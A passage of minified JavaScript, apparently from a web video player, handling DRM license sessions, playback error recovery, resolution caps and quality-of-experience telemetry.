t.length,!0);u+=4;H.set(t,u);u+=t.length;I.setUint32(u,T.byteLength,!0);H.set(T,u+4);return H};
Al=function(){this.keys=[];this.values=[]};
dI3=function(x,T,t){g.$B.call(this);this.element=x;this.videoData=T;this.Cf=t;this.j=[];this.QU=2;this.nf=this.Om=!1;this.heartbeatParams=null;this.Hv=this.S=!1;this.T=null;this.hQ=!1;this.C=this.videoData.T;this.drmSessionId=this.videoData.drmSessionId||g.k9f();this.Z=new Map;this.D=new Al;this.N=new Al;this.jY=new g.nj(this);this.uG=this.Cf.B("html5_eme_ignore_teardown_errors");(x=this.element)&&(x.addKey||x.webkitAddKey)||VF()||DX(t.experiments);this.Cf.B("html5_enable_vp9_fairplay")&&gV(this.C)?
t=Ehv:(t=this.videoData.kX,t=this.C.flavor==="fairplay"||t?yv:Ehv);this.J=t;this.K=new M0(this.element,this.C,this.XL.bind(this),this.uG);g.y(this,this.K);GW(this.C)&&(this.ZZ=new M0(this.element,this.C,this.XL.bind(this),this.uG),g.y(this,this.ZZ));g.y(this,this.jY);t=this.element;this.C.keySystemAccess?this.jY.V(t,"encrypted",this.yqZ):rx(this.jY,t,GW(this.C)?["msneedkey"]:["needkey","webkitneedkey"],this.mUm);qT3(this);a:switch(t=this.C,x=this.Cf.experiments,T=this.Z,t.flavor){case "fairplay":if(T=
/\sCobalt\/(\S+)\s/.exec(g.FF())){x=[];T=g.S(T[1].split("."));for(var u=T.next();!u.done;u=T.next())u=parseInt(u.value,10),u>=0&&x.push(u);x=parseFloat(x.join("."))}else x=NaN;x>19.2999?(x=t.pX,t=t.nX,t>=x&&(t=x*.75),T=(x-t)*.5,t=new jh(T,x,x-T-t,this)):t=null;break a;case "widevine":t=new eh(T,this,x);break a;default:t=null}if(this.T=t)g.y(this,this.T),this.T.subscribe("rotated_need_key_info_ready",this.Wa,this),this.T.subscribe("log_qoe",this.QY,this);DX(this.Cf.experiments);this.QY({cks:this.C.getInfo()})};
qT3=function(x){var T=x.K.QD();T?T.then(Sv(function(){MNf(x)}),Sv(function(t){if(!x.T9()){g.vW(t);
var u="t.a";t instanceof DOMException&&(u+=";n."+t.name+";m."+t.message);x.publish("licenseerror","drm.unavailable",1,u,"HTML5_NO_AVAILABLE_FORMATS_FALLBACK")}})):(x.QY({mdkrdy:1}),x.S=!0);
x.ZZ&&(T=x.ZZ.QD())};
Rjm=function(x,T,t){x.nf=!0;t=new Id(T,t);x.Cf.B("html5_eme_loader_sync")&&(x.D.get(T)||x.D.set(T,t));AJf(x,t)};
AJf=function(x,T){if(!x.T9()){x.QY({onInitData:1});if(x.Cf.B("html5_eme_loader_sync")&&x.videoData.j&&x.videoData.j.C){var t=x.N.get(T.initData);T=x.D.get(T.initData);if(!t||!T)return;T=t;t=T.initData;x.D.remove(t);x.N.remove(t)}x.QY({initd:T.initData.length,ct:T.contentType});if(x.C.flavor==="widevine")if(x.Om&&!x.videoData.isLivePlayback)R1(x);else{if(!(x.Cf.B("vp9_drm_live")&&x.videoData.isLivePlayback&&T.LF)){x.Om=!0;t=T.cryptoPeriodIndex;var u=T.C;pH5(T);T.LF||(u&&T.C!==u?x.publish("ctmp","cpsmm",
{emsg:u,pssh:T.C}):t&&T.cryptoPeriodIndex!==t&&x.publish("ctmp","cpimm",{emsg:t,pssh:T.cryptoPeriodIndex}));x.publish("widevine_set_need_key_info",T)}}else x.Wa(T)}};
MNf=function(x){if(!x.T9())if(x.Cf.B("html5_drm_set_server_cert")||gV(x.C)){var T=x.K.setServerCertificate();T?T.then(Sv(function(t){x.Cf.AM()&&x.publish("ctmp","ssc",{success:t})}),Sv(function(t){x.publish("ctmp","ssce",{n:t.name,
m:t.message})})).then(Sv(function(){PUf(x)})):PUf(x)}else PUf(x)};
PUf=function(x){x.T9()||(x.S=!0,x.QY({onmdkrdy:1}),R1(x))};
SfJ=function(x){return x.C.flavor==="widevine"&&x.videoData.B("html5_drm_cpi_license_key")};
R1=function(x){if((x.nf||x.Cf.B("html5_widevine_use_fake_pssh"))&&x.S&&!x.Hv){for(;x.j.length;){var T=x.j[0],t=SfJ(x)?OXq(T):g.Am(T.initData);if(gV(x.C)&&!T.Z)x.j.shift();else{if(x.Z.get(t))if(x.C.flavor!=="fairplay"||gV(x.C)){x.j.shift();continue}else x.Z.delete(t);pH5(T);break}}x.j.length&&x.createSession(x.j[0])}};
cJX=function(x){var T;if(T=g.N2()){var t;T=!((t=x.K.Z)==null||!t.getMetrics)}T&&(T=x.K.getMetrics())&&(T=g.U6(T),x.publish("ctmp","drm",{metrics:T}))};
Yff=function(){var x=aum();return!(!x||x==="visible")};
b9q=function(x){var T=UIX();T&&document.addEventListener(T,x,!1)};
rJi=function(x){var T=UIX();T&&document.removeEventListener(T,x,!1)};
UIX=function(){if(document.visibilityState)var x="visibilitychange";else{if(!document[j$+"VisibilityState"])return"";x=j$+"visibilitychange"}return x};
zjC=function(x){g.W.call(this);var T=this;this.Em=x;this.w6=0;this.D=this.Z=this.T=!1;this.K=0;this.Pv=this.Em.Y();this.videoData=this.Em.getVideoData();this.j=g.Z9(this.Pv.experiments,"html5_delayed_retry_count");this.C=new g.wX(function(){T.Em.jw()},g.Z9(this.Pv.experiments,"html5_delayed_retry_delay_ms"));
g.y(this,this.C)};
VNX=function(x,T,t){var u=x.videoData.Z,H=x.videoData.K;tB(x.Em.getVideoData())&&x.Pv.B("html5_gapless_fallback_on_qoe_restart")&&FEX(x.Em,"pe");if((T==="progressive.net.retryexhausted"||T==="fmt.unplayable"||T==="fmt.decode")&&!x.Em.Gt.T&&u&&u.itag==="22")return x.Em.Gt.T=!0,x.XD("qoe.restart",{reason:"fmt.unplayable.22"}),x.Em.cV(),!0;var I=!1;if(x.videoData.isExternallyHostedPodcast){if(I=x.videoData.f1)t.mimeType=I.type,x.kc("3pp",{url:I.url});t.ns="3pp";x.Em.V9(T,1,"VIDEO_UNAVAILABLE",bF((new r4(T,
t,1)).details));return!0}var E=x.w6+3E4<(0,g.bo)()||x.C.isActive();if(x.Pv.B("html5_empty_src")&&x.videoData.isAd()&&T==="fmt.unplayable"&&/Empty src/.test(""+t.msg))return t.origin="emptysrc",x.XD("auth",t),!0;E||Pr(x.Em.BE())||(t.nonfg="paused",E=!0,x.Em.pauseVideo());(T==="fmt.decode"||T==="fmt.unplayable")&&(H==null?0:fj(H)||w4(H))&&(VeH(x.Pv.T,H.Wv),t.acfallexp=H.Wv,I=E=!0);!E&&x.j>0&&(x.C.start(),E=!0,t.delayed="1",--x.j);H=x.Em.Kf;!E&&((u==null?0:Oq(u))||(u==null?0:Cj(u)))&&(VeH(x.Pv.T,u.Wv),
I=E=!0,t.cfallexp=u.Wv);if(x.Pv.B("html5_ssap_ignore_decode_error_for_next_video")&&g.pB(x.videoData)&&T==="fmt.unplayable"&&t.cid&&t.ccid&&Pr(x.Em.BE())){if(t.cid!==t.ccid)return t.ignerr="1",x.XD("ssap.transitionfailure",t),!0;x.XD("ssap.transitionfailure",t);if(kb4(x.Em,T))return!0}if(!E)return FCf(x,t);if(x.Pv.B("html5_ssap_skip_decoding_clip_with_incompatible_codec")&&g.pB(x.videoData)&&T==="fmt.unplayable"&&t.cid&&t.ccid&&t.cid!==t.ccid&&Pr(x.Em.BE())&&(x.XD("ssap.transitionfailure",t),kb4(x.Em,
T)))return!0;E=!1;x.T?x.w6=(0,g.bo)():E=x.T=!0;var Z=x.videoData;if(Z.Cz){Z=Z.Cz.gj();var e=Date.now()/1E3+1800;Z=Z<e}else Z=!1;t.e=T;t.bkg=Yff();Z&&(t.staleprog="1");x.XD("qoe.restart",t);if(Z&&hj4(x))return voJ(x),!0;if(!(!g.D2("philips")||T==="fmt.unplayable"&&H&&H.uG||x.Pv.C.cplatform==="GAME_CONSOLE"))try{window.close()}catch(l){}u&&Oq(u)&&!x.Pv.B("html5_allow_av1_retry_in_session")?(I=x.Pv.T,I.J=!0,s0(I),I=!0):H?E||(T=(T=SN(H.videoTrack)||H.videoTrack.Z)?T.C:H.videoTrack.C,T.D+=1,H.policy.C?
Nt(H.Z.C,T,!0):wj(H.C,T,!0)):x.videoData.Cz&&x.videoData.Cz.zl();x.C.isActive()||x.Em.jw(I);return!0};
FCf=function(x,T){if(x.videoData.uG)return!1;x.Pv.Ym+=1;if(x.Pv.Ym<=10)return!1;T.exiled=""+x.Pv.Ym;x.XD("qoe.start15s",T);x.Em.publish("playbackstalledatstart");return!0};
hj4=function(x){return x.Z?!0:x.Pv.ZZ==="yt"?x.videoData.uG?x.videoData.L2<25:!x.videoData.L2:!1};
voJ=function(x){if(!x.Z){x.Z=!0;var T=x.Em.getPlayerState();T=T.isPaused()||T.isSuspended();x.Em.iM();T&&!OD(x.videoData)||x.Em.publish("signatureexpired")}};
Gbf=function(x,T){if((x=x.Em.Bt())&&(T.errorCode==="fmt.unplayable"||T.errorCode==="html5.invalidstate")){var t=x.Yp();T.details.merr=t?t.toString():"0";T.details.mmsg=x.HU()}};
LCH=function(x){return x.errorCode==="net.badstatus"&&(x.severity===1||!!x.details.fmt_unav)};
no5=function(x,T){return x.Pv.B("html5_use_network_error_code_enums")&&T.details.rc===403||T.details.rc==="403"?(x=T.errorCode,x==="net.badstatus"||x==="manifest.net.retryexhausted"):!1};
goD=function(x,T){if(!no5(x,T)&&!x.Z)return!1;T.details.sts="20144";if(hj4(x))return zY(T.severity)&&(T=Object.assign({e:T.errorCode},T.details),T=new r4("qoe.restart",T)),x.XD(T.errorCode,T.details),voJ(x),!0;(0,g.bo)()-x.Pv.F3>6048E5&&avX(x,"signature");return!1};
avX=function(x,T){try{window.location.reload(),x.XD("qoe.restart",{detail:"pr."+T})}catch(t){}};
BCC=function(x,T){T=T===void 0?"fmt.noneavailable":T;var t=x.Pv.T;t.N=!1;s0(t);x.XD("qoe.restart",{e:T,detail:"hdr"});x.Em.jw(!0)};
WCC=function(x,T,t,u,H,I){this.videoData=x;this.C=T;this.reason=t;this.Z=u;this.token=H;this.videoId=I};
DIC=function(x,T,t){this.Cf=x;this.sN=T;this.Em=t;this.J=this.D=this.C=this.K=this.N=this.Z=0;this.T=!1;this.S=g.Z9(this.Cf.experiments,"html5_displayed_frame_rate_downgrade_threshold")||45;this.j=new Map};
NC4=function(x,T,t){!x.Cf.B("html5_tv_ignore_capable_constraint")&&g.bS(x.Cf)&&(t=t.compose(yJ3(x,T)));return t};
JJC=function(x){if(x.Em.BE().isInline())return yv;var T;x.B("html5_exponential_memory_for_sticky")?T=Y3(x.Cf.hR,"sticky-lifetime")<.5?"auto":iG[BZ()]:T=iG[BZ()];return g.uG("auto",T,!1,"s")};
Qd3=function(x,T){var t,u=CUq(x,(t=T.C)==null?void 0:t.videoInfos);t=x.Em.getPlaybackRate();return t>1&&u?(x=rHf(x.Cf.T,T.C.videoInfos,t),new sK(0,x,!0,"o")):new sK(0,0,!1,"o")};
CUq=function(x,T){return T&&g.bS(x.Cf)?T.some(function(t){return t.video.fps>32}):!1};
pof=function(x,T){var t=x.Em.iJ();x.B("html5_use_video_quality_cap_for_ustreamer_constraint")&&t&&t.f3>0&&Ht(T.videoData.Aj)&&(x=t.f3,T.videoData.Aj=new sK(0,x,!1,"u"));return T.videoData.Aj};
yJ3=function(x,T){if(g.bS(x.Cf)&&Pt(x.Cf.T,SR.HEIGHT))var t=T.C.videoInfos[0].video.C;else{var u=!!T.C.C;var H;g.VZ(x.Cf)&&(H=window.screen&&window.screen.width?new g.lu(window.screen.width,window.screen.height):null);H||(H=x.Cf.DX?x.Cf.DX.clone():x.sN.xL());(Or||XZ||u)&&H.scale(g.O0());u=H;sD(T.videoData)||OD(T.videoData);T=T.C.videoInfos;if(T.length){H=g.Z9(x.Cf.experiments,"html5_override_oversend_fraction")||.85;var I=T[0].video;I.projectionType!=="MESH"&&I.projectionType!=="EQUIRECTANGULAR"&&
I.projectionType!=="EQUIRECTANGULAR_THREED_TOP_BOTTOM"||hF||(H=.45);x=g.Z9(x.Cf.experiments,"html5_viewport_undersend_maximum");for(I=0;I<T.length;I++){t=T[I];var E=t.video;if(u===null||E.width*H<u.width&&E.height*H<u.height){x&&I&&E.width<u.width*x&&E.height<u.height*x&&(t=T[I-1]);break}}u=t.video;t=new sK(0,t.itag==="93"?g.BU[g4(u.width,u.height)]:u.C,!1,"r")}else t=yv;t=t.C}t&&(t=Math.max(t,360));return new sK(0,t,!1,"r")};
O9J=function(x,T){var t;a:if((t=T.C)&&t.videoInfos.length){for(var u=g.S(t.videoInfos),H=u.next();!H.done;H=u.next()){H=H.value;var I=void 0;if((I=H.Z)==null?0:I.smooth){t=H.video.C;break a}}t=t.videoInfos[0].video.C}else t=0;A_5()&&!g.bS(x.Cf)&&Cj(T.C.videoInfos[0])&&(t=Math.min(t,g.BU.large));u=g.Z9(x.Cf.experiments,"html5_chipset_soft_cap");u>0&&(t=Math.min(t,u));if(u=g.Z9(x.Cf.experiments,"html5_max_vertical_resolution")){x=4320;for(H=0;H<T.C.videoInfos.length;H++)I=T.C.videoInfos[H],I.video.height>
u&&(x=Math.min(x,I.video.C));if(x<4320){for(H=u=0;H<T.C.videoInfos.length;H++)I=T.C.videoInfos[H].video.C,I<x&&(u=Math.max(u,I));u&&(t=Math.min(u,t))}}return new sK(0,t,!1,"o")};
wo5=function(x,T){var t=4320;!x.Cf.Z||g.Gw(x.Cf)||x.Cf.B("hls_for_vod")||x.Cf.B("mweb_remove_360p_cap")||(t=g.BU.medium);var u=g.Z9(x.Cf.experiments,"html5_default_quality_cap");u&&T.C.C&&(x.Cf.B("html5_always_apply_default_quality_cap")||!T.videoData.xz&&!T.videoData.wb)&&(t=Math.min(t,u));u=g.Z9(x.Cf.experiments,"html5_random_playback_cap");var H=/[a-h]$/;u&&H.test(T.videoData.clientPlaybackNonce)&&(t=Math.min(t,u));if(H=u=g.Z9(x.Cf.experiments,"html5_hfr_quality_cap"))a:{H=T.C;if(H.C){H=g.S(H.videoInfos);
for(var I=H.next();!I.done;I=H.next())if(I.value.video.fps>32){H=!0;break a}}H=!1}H&&(t=Math.min(t,u));(u=g.Z9(x.Cf.experiments,"html5_live_quality_cap"))&&T.videoData.isLivePlayback&&(t=Math.min(t,u));t=fvf(x,T,t);x=g.Z9(x.Cf.experiments,"html5_byterate_soft_cap");return new sK(0,t===4320?0:t,!1,"d",x)};
KCC=function(x){var T,t,u,H;return g.G(function(I){switch(I.C){case 1:return x.C.C&&typeof((T=navigator.mediaCapabilities)==null?void 0:T.decodingInfo)==="function"?g.v(I,Promise.resolve(),2):I.return(Promise.resolve());case 2:t=g.S(x.C.videoInfos),u=t.next();case 3:if(u.done){I.lG(0);break}H=u.value;return g.v(I,e_H(H),4);case 4:u=t.next(),I.lG(3)}})};
xdD=function(x,T){if(!T.videoData.Z||x.B("html5_disable_performance_downgrade"))return!1;Date.now()-x.N>6E4&&(x.Z=0);x.Z++;x.N=Date.now();if(x.Z!==4)return!1;Xoi(x,T.videoData.Z);return!0};
oA4=function(x,T,t,u){if(!T||!t||!T.videoData.Z)return!1;var H=g.Z9(x.Cf.experiments,"html5_df_downgrade_thresh"),I=x.B("html5_log_media_perf_info");if(!((0,g.bo)()-x.K<5E3?0:I||H>0))return!1;var E=((0,g.bo)()-x.K)/1E3;x.K=(0,g.bo)();t=t.getVideoPlaybackQuality();if(!t)return!1;var Z=t.droppedVideoFrames-x.D,e=t.totalVideoFrames-x.J;x.D=t.droppedVideoFrames;x.J=t.totalVideoFrames;var l=t.displayCompositedVideoFrames===0?0:t.displayCompositedVideoFrames||-1;I&&x.Cf.AM()&&x.Em.kc("ddf",{dr:t.droppedVideoFrames,
de:t.totalVideoFrames,comp:l});if(u)return x.C=0,!1;if((e-Z)/E>x.S||!H||g.bS(x.Cf))return!1;x.C=(e>60?Z/e:0)>H?x.C+1:0;if(x.C!==3)return!1;Xoi(x,T.videoData.Z);x.Em.kc("dfd",Object.assign({dr:t.droppedVideoFrames,de:t.totalVideoFrames},TB3()));return!0};
Xoi=function(x,T){var t=T.Wv,u=T.video.fps,H=T.video.C-1,I=x.j;T=""+t+(u>49?"p60":u>32?"p48":"");t=FT(t,u,I);H>0&&(t=Math.min(t,H));if(!Sh.has(T)&&yu().includes(T)){var E=t;t=DR();+t[T]>0&&(E=Math.min(+t[T],E));t[T]!==E&&(t[T]=E,g.vc("yt-player-performance-cap",t,2592E3))}else if(Sh.has(T)||I==null){a:{E=E===void 0?!0:E;u=yu().slice();if(E){if(u.includes(T))break a;u.push(T)}else{if(!u.includes(T))break a;u.splice(u.indexOf(T),1)}g.vc("yt-player-performance-cap-active-set",u,2592E3)}k8.set(T,t)}else Sh.add(T),
I==null||I.set(T,t);x.Em.NK()};
cr=function(x,T){if(!T.C.C)return x.T?new sK(0,360,!1,"b"):yv;for(var t=!1,u=!1,H=g.S(T.C.videoInfos),I=H.next();!I.done;I=H.next())Oq(I.value)?t=!0:u=!0;t=t&&u;u=0;H=g.Z9(x.Cf.experiments,"html5_performance_cap_floor");H=x.Cf.Z?240:H;T=g.S(T.C.videoInfos);for(I=T.next();!I.done;I=T.next()){var E=I.value;if(!t||!Oq(E))if(I=FT(E.Wv,E.video.fps,x.j),E=E.video.C,Math.max(I,H)>=E){u=E;break}}return new sK(0,u,!1,"b")};
tn5=function(x,T){var t=x.Em.BE();return t.isInline()&&!T.HH?new sK(0,480,!1,"v"):t.isBackground()&&bH()/1E3>60&&!g.bS(x.Cf)?new sK(0,360,!1,"v"):yv};
sDf=function(x,T,t){if(x.Cf.experiments.aU("html5_disable_client_autonav_cap_for_onesie")&&T.fetchType==="onesie"||g.bS(x.Cf)&&(BZ(-1)>=1080||T.osid))return yv;var u=g.Z9(x.Cf.experiments,"html5_autonav_quality_cap"),H=g.Z9(x.Cf.experiments,"html5_autonav_cap_idle_secs");return u&&T.isAutonav&&bH()/1E3>H?(t&&(u=fvf(x,t,u)),new sK(0,u,!1,"e")):yv};
fvf=function(x,T,t){if(x.B("html5_optimality_defaults_chooses_next_higher")&&t)for(x=T.C.videoInfos,T=1;T<x.length;T++)if(x[T].video.C<t)return x[T-1].video.C;return t};
uam=function(x,T){x.B("html5_log_media_perf_info")&&(x.Em.kc("perfdb",TB3()),x.Em.kc("sessionperfdb",Object.fromEntries(k8.entries())),x.Em.kc("playbackperfdb",Object.fromEntries(x.j.entries())),x.Em.kc("hwc",{nch:navigator.hardwareConcurrency},!0),T&&x.Em.kc("mcdb",{itags:T.C.videoInfos.filter(function(t){var u;return((u=t.Z)==null?void 0:u.smooth)===!1}).map(function(t){return t.itag}).join("-")}))};
TB3=function(){return RL(DR(),function(x){return""+x})};
Yy=function(x){g.W.call(this);var T=this;this.provider=x;this.C=-1;this.T=!1;this.Z=-1;this.playerState=new g.uZ;this.networkErrorCount=this.rebufferTimeSecs=this.playTimeSecs=this.K=0;this.encounteredSabrFallback=!1;this.seekCount=this.nonNetworkErrorCount=0;this.delay=new g.wX(this.send,6E4,this);this.j=!1;this.jsErrorCount=0;this.yF={XO:function(){T.XO()}};
this.XO=function(){T.jsErrorCount++};
g.y(this,this.delay);window.addEventListener("error",this.XO);window.addEventListener("unhandledrejection",this.XO)};
$dq=function(x){x.C>=0||(x.provider.Em.getVisibilityState()===3?x.T=!0:(x.C=g.Uw(x.provider),x.delay.start()))};
H0f=function(x){if(!(x.Z<0)){var T=g.Uw(x.provider),t=T-x.K;x.K=T;x.playerState.state===8?x.playTimeSecs+=t:x.playerState.isBuffering()&&!g.p(x.playerState,16)&&(x.rebufferTimeSecs+=t)}};
i0i=function(x){var T;switch((T=x.Cf.playerCanaryStage)==null?void 0:T.toLowerCase()){case "xsmall":return"HTML5_PLAYER_CANARY_STAGE_XSMALL";case "small":return"HTML5_PLAYER_CANARY_STAGE_SMALL";case "medium":return"HTML5_PLAYER_CANARY_STAGE_MEDIUM";case "large":return"HTML5_PLAYER_CANARY_STAGE_LARGE";default:return"HTML5_PLAYER_CANARY_STAGE_UNSPECIFIED"}};
IOH=function(x){return window.PressureObserver&&new window.PressureObserver(x)};
EAV=function(x){x=x===void 0?IOH:x;g.W.call(this);var T=this;try{this.j=x(function(u){T.Z=u.at(-1)});
var t;this.K=(t=this.j)==null?void 0:t.observe("cpu",{sampleInterval:2E3}).catch(function(u){u instanceof DOMException&&(T.C=u)})}catch(u){u instanceof DOMException&&(this.C=u)}};
qoq=function(x){var T={},t=window.h5vcc;T.hwConcurrency=navigator.hardwareConcurrency;x.C&&(T.cpe=x.C.message);x.Z&&(T.cpt=x.Z.time,T.cps=x.Z.state);if(t==null?0:t.cVal)T.cb2s=t.cVal.getValue("CPU.Total.Usage.IntervalSeconds.2"),T.cb5s=t.cVal.getValue("CPU.Total.Usage.IntervalSeconds.5"),T.cb30s=t.cVal.getValue("CPU.Total.Usage.IntervalSeconds.30");return T};
Z0H=function(x){var T;g.G(function(t){switch(t.C){case 1:return g.PX(t,2),g.v(t,x.K,4);case 4:g.cX(t,3);break;case 2:g.Yq(t);case 3:(T=x.j)==null||T.disconnect(),g.RV(t)}})};
eam=function(x,T){T?jDq.test(x):(x=g.sr(x),Object.keys(x).includes("cpn"))};
mdH=function(x,T,t,u,H,I,E){var Z={format:"RAW"},e={};if(Hi(x)&&iP()){if(E){var l;((l=lOv.uaChPolyfill)==null?void 0:l.state.type)!==2?E=null:(E=lOv.uaChPolyfill.state.data.values,E={"Synth-Sec-CH-UA-Arch":E.architecture,"Synth-Sec-CH-UA-Model":E.model,"Synth-Sec-CH-UA-Platform":E.platform,"Synth-Sec-CH-UA-Platform-Version":E.platformVersion,"Synth-Sec-CH-UA-Full-Version":E.uaFullVersion});e=Object.assign(e,E);Z.withCredentials=!0}(E=g.pr("EOM_VISITOR_DATA"))?e["X-Goog-EOM-Visitor-Id"]=E:u?e["X-Goog-Visitor-Id"]=
u:g.pr("VISITOR_DATA")&&(e["X-Goog-Visitor-Id"]=g.pr("VISITOR_DATA"));t&&(e["X-Goog-PageId"]=t);(u=T.uG)&&!ws(T)&&(e["X-Goog-AuthUser"]=u);H&&(e.Authorization="Bearer "+H);T.B("enable_datasync_id_header_in_web_vss_pings")&&T.Xh&&T.datasyncId&&(e["X-YouTube-DataSync-Id"]=T.datasyncId);E||e["X-Goog-Visitor-Id"]||H||t||u?Z.withCredentials=!0:T.B("html5_send_cpn_with_options")&&jDq.test(x)&&(Z.withCredentials=!0)}Object.keys(e).length>0&&(Z.headers=e);I&&(Z.onFinish=I);return Object.keys(Z).length>1?
Z:null};
dd3=function(x,T,t,u,H,I,E,Z){iP()&&t.token&&(x=uP(x,{ctt:t.token,cttype:t.kA,mdx_environment:t.mdxEnvironment}));u.B("net_pings_low_priority")&&(T||(T={}),T.priority="low");I||Z&&u.B("nwl_skip_retry")?(T==null?T={}:eam(x,u.B("html5_assert_cpn_with_regex")),E?ff().sendAndWrite(x,T):ff().sendThenWrite(x,T,Z)):T?(eam(x,u.B("html5_assert_cpn_with_regex")),u.B("net_pings_use_fetch")?it3(x,T):g.Ur(x,T)):g.Be(x,H)};
MnD=function(x){for(var T=[],t=0;t<x;t++){for(var u={},H=Math.floor(Math.random()*9*1E8)+1E8,I="",E=0;E<9;E++)I+="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"[Math.floor(Math.random()*52)];u.videoDecoderName=I;u.elapsedTimeMs=H;T.push(u)}return T};
Asm=function(x){return window.Profiler&&new window.Profiler(x)};
Ra3=function(x){/[^a-zA-Z0-9;.!_-]/.test(x)&&(x=x.replace(/[+]/g,"-").replace(/[^a-zA-Z0-9;.!_-]/g,"_"));return x};
b$=function(x,T,t){t=t===void 0?Asm:t;g.W.call(this);this.sampleInterval=x;this.maxBufferSize=T;this.T=t;this.encoder=new E0;this.C=[];this.j=0;PE4(this)};
PE4=function(x){var T=x.sampleInterval,t=x.maxBufferSize;if(T>0&&t>0&&!x.Z&&x.j<1E7)try{x.K=x.T({sampleInterval:T,maxBufferSize:t});var u;(u=x.K)==null||u.addEventListener("samplebufferfull",function(){return g.G(function(H){if(H.C==1)return g.v(H,x.stop(),2);PE4(x);g.RV(H)})})}catch(H){x.Z=Ra3(H.message)}};
rR=function(x,T){var t,u;return!!((t=window.h5vcc)==null?0:(u=t.settings)==null?0:u.set(x,T))};
cs5=function(){var x,T,t,u=(x=window.h5vcc)==null?void 0:(T=x.settings)==null?void 0:(t=T.getPersistentSettingAsString)==null?void 0:t.call(T,"cpu_usage_tracker_intervals");if(u!=null){var H;x=(H=JSON.parse(u))!=null?H:[];H=x.filter(function(l){return l.type==="total"}).map(function(l){return l.seconds});
T=g.S(So3);for(t=T.next();!t.done;t=T.next())t=t.value,H.indexOf(t)===-1&&x.push({type:"total",seconds:t});var I,E;(I=window.h5vcc)==null||(E=I.settings)==null||E.set("cpu_usage_tracker_intervals_enabled",1);var Z,e;(Z=window.h5vcc)==null||(e=Z.settings)==null||e.set("cpu_usage_tracker_intervals",JSON.stringify(x))}};
YoV=function(){var x=window.H5vccPlatformService,T="";if(x&&x.has("dev.cobalt.coat.clientloginfo")&&(x=x.open("dev.cobalt.coat.clientloginfo",function(){}))){var t=x.send(new ArrayBuffer(0));
t&&(T=String.fromCharCode.apply(String,g.U(new Uint8Array(t))));x.close()}return T};
g.Fe=function(x,T){g.W.call(this);var t=this;this.provider=x;this.logger=new g.t$("qoe");this.C={};this.sequenceNumber=1;this.D=NaN;this.Zx="N";this.S=this.lO=this.HI=this.hM=this.T=0;this.kP=this.QU=this.N=this.G9="";this.L2=this.nf=NaN;this.Zk=0;this.FD=-1;this.rp=1;this.playTimeSecs=this.rebufferTimeSecs=0;this.Cz=this.isEmbargoed=this.Om=this.isOffline=this.isBuffering=!1;this.RW=[];this.jY=null;this.Ee=this.j=this.SY=this.J=!1;this.Z=-1;this.mu=!1;this.Jq=new g.wX(this.LuZ,750,this);this.ZZ=
this.adCpn=this.uG=this.contentCpn="";this.adFormat=void 0;this.VI=0;this.C4=new Set("cl fexp drm drm_system drm_product ns el adformat live cat shbpslc".split(" "));this.L4=new Set(["gd"]);this.serializedHouseBrandPlayerServiceLoggingContext="";this.Lz=!1;this.Ym=NaN;this.hQ=0;this.ra=!1;this.Hv=0;this.remoteConnectedDevices=[];this.remoteControlMode=void 0;this.tM=!1;this.yF={pD:function(H){t.pD(H)},
Btj:function(){return t.K},
fB:function(){return t.contentCpn},
u0f:function(){return t.uG},
reportStats:function(){t.reportStats()},
Kwm:function(){return t.C.cat},
zZ:function(H){return t.C[H]},
KoY:function(){return t.Hv}};
var u=g.Z9(this.provider.Cf.experiments,"html5_qoe_proto_mock_length");u&&!zL.length&&(zL=MnD(u));g.y(this,this.Jq);try{navigator.getBattery().then(function(H){t.jY=H})}catch(H){}g.ky(this,0,"vps",["N"]);
x.Cf.AM()&&(this.hQ=(0,g.bo)(),this.Ym=g.mF(function(){var H=(0,g.bo)(),I=H-t.hQ;I>500&&t.kc("vmlock",{diff:I.toFixed()});t.hQ=H},250));
x.Em.vS()&&T&&(this.Hv=T-Math.round(g.Uw(x)*1E3));this.provider.videoData.xz&&(this.remoteControlMode=UdV[this.provider.videoData.xz]||0);this.provider.videoData.pU&&(T=gmq(this.provider.videoData.pU),T==null?0:T.length)&&(this.remoteConnectedDevices=T);if(x.Cf.AM()||x.B("html5_log_cpu_info"))this.tQ=new EAV,g.y(this,this.tQ);T=g.Z9(x.Cf.experiments,"html5_js_self_profiler_sample_interval_ms");x=g.Z9(x.Cf.experiments,"html5_js_self_profiler_max_samples");T>0&&x>0&&(this.AQ=new b$(T,x),g.y(this,this.AQ))};
g.ky=function(x,T,t,u){var H=x.C[t];H||(H=[],x.C[t]=H);H.push(T.toFixed(3)+":"+u.join(":"))};
b03=function(x,T){var t=x.adCpn||x.provider.videoData.clientPlaybackNonce,u=x.provider.getCurrentTime(t);g.ky(x,T,"cmt",[u.toFixed(3)]);u=x.provider.G3(t);if(x.K&&u*1E3>x.K.SQ+100&&x.K){var H=x.K;t=H.isAd;u=u*1E3-H.SQ;x.NS=T*1E3-H.hKy-u-H.jHQ;H=(0,g.bo)()-u;T=x.NS;u=x.provider.videoData;var I=u.isAd();if(t||I){I=(t?"ad":"video")+"_to_"+(I?"ad":"video");var E={};u.D&&(E.cttAuthInfo={token:u.D,videoId:u.videoId});E.startTime=H-T;BM(I,E);g.gO({targetVideoId:u.videoId,targetCpn:u.clientPlaybackNonce},
I);a3("pbs",H,I)}else H=x.provider.Em.Vs(),H.D!==u.clientPlaybackNonce?(H.T=u.clientPlaybackNonce,H.Z=T):u.qg()||g.Vh(new g.CS("CSI timing logged before gllat",{cpn:u.clientPlaybackNonce}));x.kc("gllat",{l:x.NS.toFixed(),prev_ad:+t});delete x.K}};
hl=function(x,T){T=T===void 0?NaN:T;T=T>=0?T:g.Uw(x.provider);var t=x.provider.Em.Zh(),u=t.DI-(x.nf||0);u>0&&g.ky(x,T,"bwm",[u,(t.hj-(x.L2||0)).toFixed(3)]);isNaN(x.nf)&&t.DI&&x.isOffline&&x.pD(!1);x.nf=t.DI;x.L2=t.hj;isNaN(t.bandwidthEstimate)||g.ky(x,T,"bwe",[t.bandwidthEstimate.toFixed(0)]);x.provider.Cf.AM()&&Object.keys(t.C).length!==0&&x.kc("bwinfo",t.C);if(x.provider.Cf.AM()||x.provider.Cf.B("html5_log_meminfo"))u=WJ3(),Object.values(u).some(function(I){return I!==void 0})&&x.kc("meminfo",
u);
if(x.provider.Cf.AM()||x.provider.Cf.B("html5_log_cpu_info")){var H;(u=(H=x.tQ)==null?void 0:qoq(H))&&Object.values(u).some(function(I){return I!=null})&&x.kc("cpuinfo",u)}x.AQ&&x.kc("jsprof",x.AQ.flush());
